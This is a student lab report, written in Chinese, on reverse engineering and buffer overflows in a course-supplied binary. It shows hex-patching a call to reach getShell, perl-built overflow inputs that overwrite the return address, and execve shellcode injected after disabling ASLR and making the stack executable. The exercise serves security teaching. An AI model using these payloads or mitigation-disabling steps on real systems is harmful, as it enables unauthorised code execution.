Exp1_PC平台逆向破解
前期准备
一、逆向及Bof基础实践说明
1.1 实践目标
1.2 基础知识
- 熟悉Linux基本操作
- 看懂常用指令,如管道(|),输入、输出重定向(>)等。
理解Bof的原理。
看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi。
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
- 熟悉Linux基本操作
NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。
JE指令:条件转移指令,如果相等则跳转。
JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。
CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
各指令机器码
- NOP机器码 90。
- JNE机器码 75
- JE机器码 74
- JMP rel8相对短跳转,机器码 EB
- JMP rel16相对跳转,机器码 E9
- JMP r/m16绝对跳转,机器码 FF
- JMP r/m32绝对跳转,机器码 FF
- JMP ptr1 6:16远距离绝对跳转,机器码 EA
- JMP ptr1 6:32远距离绝对跳转,机器码 EA
- JMP m16:16远距离绝对跳转,机器码 FF
- JMP m16:32远距离绝对跳转,机器码 FF
二、下载pwn文件&拷贝到目录文件夹
从老师所给指导的附件里下载pwn文件,在本机解压后利用vmtools直接拖拽至指定文件夹。
这里我们新创建了一个文件目录 174318张致豪_exp1,既能标明学号姓名,更是为了方便在虚拟机里记录实验的内容,和之后的实验区分开来。
在文件目录下输入 ./pwn1
尝试运行其原本功能,若能实现如上图效果(输入XX返回XX)则说明前期准备工作到位了。
实验步骤
一、直接修改程序机器指令,改变程序执行流程
1.步骤知识点:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 输入指令
objdump -d pwn1 | more
反汇编pwn1
文件。 - 机器语言:
call
————>机器指令:e8
call
指令后的表示相对偏移地址(小端模式),机器指令用补码表示- 执行到
call
指令,EIP
的值为80484ba
,即下一条指令的地址
- 输入指令
2.步骤过程及解析
(1)反汇编查看函数地址
Step
- 输入反汇编语句
objdump -d pwn1 | more
- 输入
/getShell
- 查看函数地址,计算出相对偏移量
- 输入反汇编语句
详细解析:
输入反汇编语句 objdump -d pwn1 | more
进行反汇编
输入 /getShell
找到 getShell、main、foo 函数,下图中 080484b5 中的指令为call 8048491
如红框所示,该机器指令说这条指令将调用位于地址8048491处的foo函数,其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
正常流程foo函数的作用是回显用户的输入,此时此刻EIP的值应该是下条指令的地址,即80484ba,但因为存在e8这条指令,CPU会转而执行“EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,其正确读法是:“ff ff ff d7”,转换为十进制是-41,又因为 41 = 0x29,80484ba + d7ffffff = 80484ba - 0x29 = 8048491 正好是foo函数的地址。
补码补充
由此可知,我们只需要修改中间的相对偏移量,使函数跳转到我们想要的getshell函数的地址。
当前EIP的值(80484ba)+ 相对偏移量 = getShell函数地址(804847d)。
补码的计算:7d - ba = -61,转换成二进制为00111101。
0开头,负数的补码算法:逐位取反,末尾加一。
相对偏移量 → 11000011,即c3。
(2)vim修改地址反汇编
Step
- 输入vim编辑器指令
vi pwn1
- 按ESC后输入
:%!xxd
- 输入
/e8 d7
- 找到目的地址/e8 d7
- 按 ESC 后按
i
,将目的地址修改为 e8 c3
- 按ESC后输入
:%!xxd -r
- 保存并退出vim编辑器输入
:wq
- 输入vim编辑器指令
详细解析:
- 接下来,我们在终端输入vim指令
vi pwn1
编辑该文件,打开后却发现内容全是乱码,如下图所示
- 接下来,我们在终端输入vim指令
- 这是因为 pwn1 是可执行文件,在该模式下文本不可读,我们只需要将其转换为十六进制模式就可以了,按
ESC
键进入普通模式后,输入:%!xxd
实现转换 - 查找我们要修改的地址,键盘输入
/e8 d7
,vim 编辑器内会自动匹配出我们要找的地址,按ESC
键后按i
键进入插入模式,将 d7 修改为 c3 ,如下图所示
- 这是因为 pwn1 是可执行文件,在该模式下文本不可读,我们只需要将其转换为十六进制模式就可以了,按
修改前
修改后
- 修改好地址后,不要急着退出 vim 界面,因为我们还没把 pwn1 文本改回其原本的模式,此时若直接退出 pwn1 将不能正常运行所以,我们需要将十六进制的文本转换为原本模式,输入
:%!xxd -r
- 修改好地址后,不要急着退出 vim 界面,因为我们还没把 pwn1 文本改回其原本的模式,此时若直接退出 pwn1 将不能正常运行所以,我们需要将十六进制的文本转换为原本模式,输入
- 转换完后,安全的保存并退出 vim,输入
:wq
- 转换完后,安全的保存并退出 vim,输入
(3)反汇编验证地址并运行
修改成功后再使用反汇编 objdump -d pwn1|more
查看 call 指令是否正确调用 getShell 函数
可以发现,地址修改成功后,call 指令正确的调用了 getShell 函数,接下来我们就可以运行 pwn1 了
如上图所示,依次运行 pwn2 和 pwn1 文件,对比发现修改后的 pwn1 运行会得到 shell 提示符 # ,说明修改成功。
二、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1.步骤知识点:堆栈结构、返回地址、ELF文件格式,掌握动态技术
堆栈结构,堆栈是一个特定的存储区或寄存器,它的一端是固定的,另一端是浮动的。在这个存储区存入的数据是一种特殊的数据结构,对于栈来说,存放数据在浮动的一端(称栈顶)进行。
返回地址,主程序中CALL指令后面一条指令的地址
2.步骤过程及解析
(1)反汇编,了解程序的基本功能
对pwn2进行反汇编,查看其foo函数具体参数,这里读入字符串,但系统只预留了?字节的缓冲区,超出便会造成溢出,我们的目标是覆盖返回地址,在 main 函数中 call 指令调用 foo 函数后,同时在堆栈上压返回地址 80484ba
(2)确认输入字符串哪几个字符会覆盖到返回地址
Step
- 使用命令
gdb pwn2
调试程序,参数r
表示运行 - 按 r 输入字符串
1111111122222222333333334444444412345678
- 使用info r 指令显示寄存器的值
- 使用命令
详细解析
- 要想确定那几个字符会覆盖到返回地址,我们需要利用调试功能即 gdb ,终端显示无此命令的话需要下载,输入
apt-get install gdb
后安装 - 使用命令
gdb pwn2
调试程序,参数r
表示运行,这里我们输入字符串1111111122222222333333334444444412345678
,会发生段错误后溢出
- 要想确定那几个字符会覆盖到返回地址,我们需要利用调试功能即 gdb ,终端显示无此命令的话需要下载,输入
- 输入
info r
查看寄存器eip的值,发现输入的字符串被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。
- 输入
(3)确认用什么值来覆盖返回地址
由前面反汇编时所知,getShell 函数的地址为 0x0804847d
,由于寄存器显示时是按照十六进制从高位向低位显示,所以转换为(\x7d\x84\x04\x08),接下来的操作要使这块区域变成我们需要的内容即可实现跳转到 getShell 处执行代码,我们只需输入 11111111222222223333333344444444\x7d\x84\x04\x08
。
(4)构造输入字符串
Step
- 输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 输入
xxd input
查看文件内容 - 输入
(cat input; cat ) | ./pwn2
- 输入
详细解析
- 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以需要生成包括这样字符串的一个文件。输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
,其中\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键 - 使用
xxd input
查看文件内容,看是否和我们预期的一样
- 然后通过管道符
|
,作为 pwn2 的输入,格式为(cat input; cat ) | ./pwn2
运行成功
三、注入一个自己制作的shellcode并运行这段shellcode。
1.步骤知识点:shellcode、缓冲区溢出
- shellcode就是一段机器指令(code)通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 攻击利用缓冲区溢出,同理还是使若输入的字符串第33、34、35、36这四个字节覆盖EIP的值,即返回地址,返回地址不再是修改为getshell的地址,而是shellcode的地址,确定shellcode的位置,一般放在EIP之后,构造字符串,使第33、34、35、36这四个字节指向shellcode的起始地址
2.步骤过程及解析
(1)准备一段Shellcode
- 采用老师推荐的shellcode。如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
- 采用老师推荐的shellcode。如下
(2)设置堆栈可执行&地址随机化设置
Step
- 输入
execstack -s pwn3
//设置堆栈可执行 - 输入
execstack -q pwn3
//查询文件的堆栈是否可执行 - 输入
X pwn3 more /proc/sys/kernel/randomize_va_space
//查看内存地址随机化的参数 - 输入
echo "0" > /proc/sys/kernel/randomize_va_space
//关闭地址随机化 - 输入
more /proc/sys/kernel/randomize_va_space
- 输入
(3)构造要注入的payload
Step
- 终端输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 往pwn3里注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn3
- 再开另外一个终端,用 gdb 来调试 pwn3 这个进程
- 输入
ps -ef | grep pwn3
发现进程号为33997 - 输入
gdb
进入调试界面,然后输入attach 33997
调试这个进程 - 输入指令
disassemble foo
对 foo 函数进行反汇编 - 输入
break *0x080484ae
- 回到注入 buf 的终端手动回车一下,然后回到调试的终端,输入指令 c 继续
- 输入指令
info r esp
- 输入
x/16x 0xffffd1ac
- 修改注入代码
- 往pwn3里注入这段攻击buf:
详细解析
- Linux 下有两种基本构造攻击buf的方法:因为 retaddr 在缓冲区的位置是固定的,shellcode 要不在它前面,要不在它后面。简单说缓冲区小就把 shellcode 放后边,缓冲区大就把 shellcode 放前边。这里我们选择 anything+retaddr+nops+shellcode 这种方式构造攻击代码。
- retaddr + nop + shellcode
- nop + shellcode + retaddr。
- 首先利用十六进制编辑指令 perl 构造一个字符串,写入到 input_shellcode 文件中用作文件执行时的输入。在这段字符串中,末尾的 \x4\x3\x2\x1 会覆盖到堆栈上的返回地址。(PS:最后一个字符千万不能是 \x0a ,否则下面的操作无效)
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 打开一个终端注入这段攻击 buf:
(cat input_shellcode;cat) | ./pwn3
再开另外一个终端,用 gdb 来调试 pwn3 这个进程。输入
ps -ef | grep pwn3
发现进程号为33997输入
gdb
进入调试界面,然后输入attach 33997
调试这个进程
输入指令
disassemble foo
对 foo 函数进行反汇编。
可以看见 pwn3 指令执行一遍后 ret 指令的地址为 0x080484ae ,通过设置断点,来查看注入 buf 的内存地址,输入
break *0x080484ae
之后要回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。
接下来输入指令
info r esp
查看查看栈顶指针所在的位置,并以 16 进制形式查看0xfffd1ac地址后面 16 字节的内容
由上图很明显看见
0x90909090
,因为 shellcode 的位置在该位置后四位,所以得到 shellcode 的起始位置为
0xffffd1ac + 0x00000004 = 0xffffd1b0
修改攻击代码,将地址retaddr加进去
perl -e 'print "A" x 32;print "\xb0\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 输入
(cat input_shellcode;cat) | ./pwn3
,将其输入到程序中
- 输入
然后就可以发现攻击成功了
实验总结
一、实验收获与感想
作为刚接触linux的学生来说,本次的实验可以说是理论与实践的良好结合,不仅涉及到了许多以前课程中的相关知识,更是将系统终端的运用充分发挥,使操作系统、计算机网络、数据结构等课程中的概念性知识用到了实处,更加巩固了知识点,唤起了汇编语言的基础知识,为今后网络攻防课程的学习奠定了坚实的基础。
当然,在本次实验中我也遇到了不少的问题,比如第三个问题里,反汇编后在调试界面里添加一个断点,在此操作后本应返回最开始注入 buf 的终端,手动点击一下回车键后再在调试界面按 c 继续运行,而我忘记了返回开始的终端点击回车按钮,直接在调试界面输入了 c ,却发现之后无论我怎么修改 input_shellcode 里代码的值,输入到 pwn 程序里返回的始终是段错误。另外,在另一终端开始调试前里,有一次输入 ps -ef | grep pwn3 操作后返回了两个pwn3进程,这里我不清楚是什么原因导致的,但根据后面 pts/ 的区别我选择了下面一个进程,照着做下去最后还是攻击成功了。
至于一些其他的,基本上都是细节的问题,比如 gdb 的安装,execstack 的安装,操作指令书写错了,这些问题都是经常出现的,只要我们更加细心,勤于在网上寻求知识,充分利用网络大环境下资源的共享,多去学学、看看别人的经验分享,我想我们可以收获更多的东西,也能事半功倍,更好的吸收掌握知识点。
二、什么是漏洞?漏洞有什么危害?
- 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。具体举例来说,比如在 Intel Pentium芯片中存在的逻辑错误,在Sendmail早期版本中的编程错误,在NFS协议中认证方式上的弱点,在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用,威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞。
- 漏洞的危害有大有小,图谋不轨的人可以利用它来要挟迫害人们的正常活动,当然也能用来提示人们增强薄弱环节修补漏洞。前者可能会肆意破坏我们的计算机,强制安装恶意程序、传播病毒、造成资料的损坏,被窃取,被篡改。会对信息安全造成极大的危害,危害涉及个人活动、公司企业,也可能会上升到国际社会层面,影响范围与力度都是不可轻视的。我们学习这门课程也是为了在今后的工作当中,在增强自身防护意识的前提下尽可能抵御未知的漏洞攻击。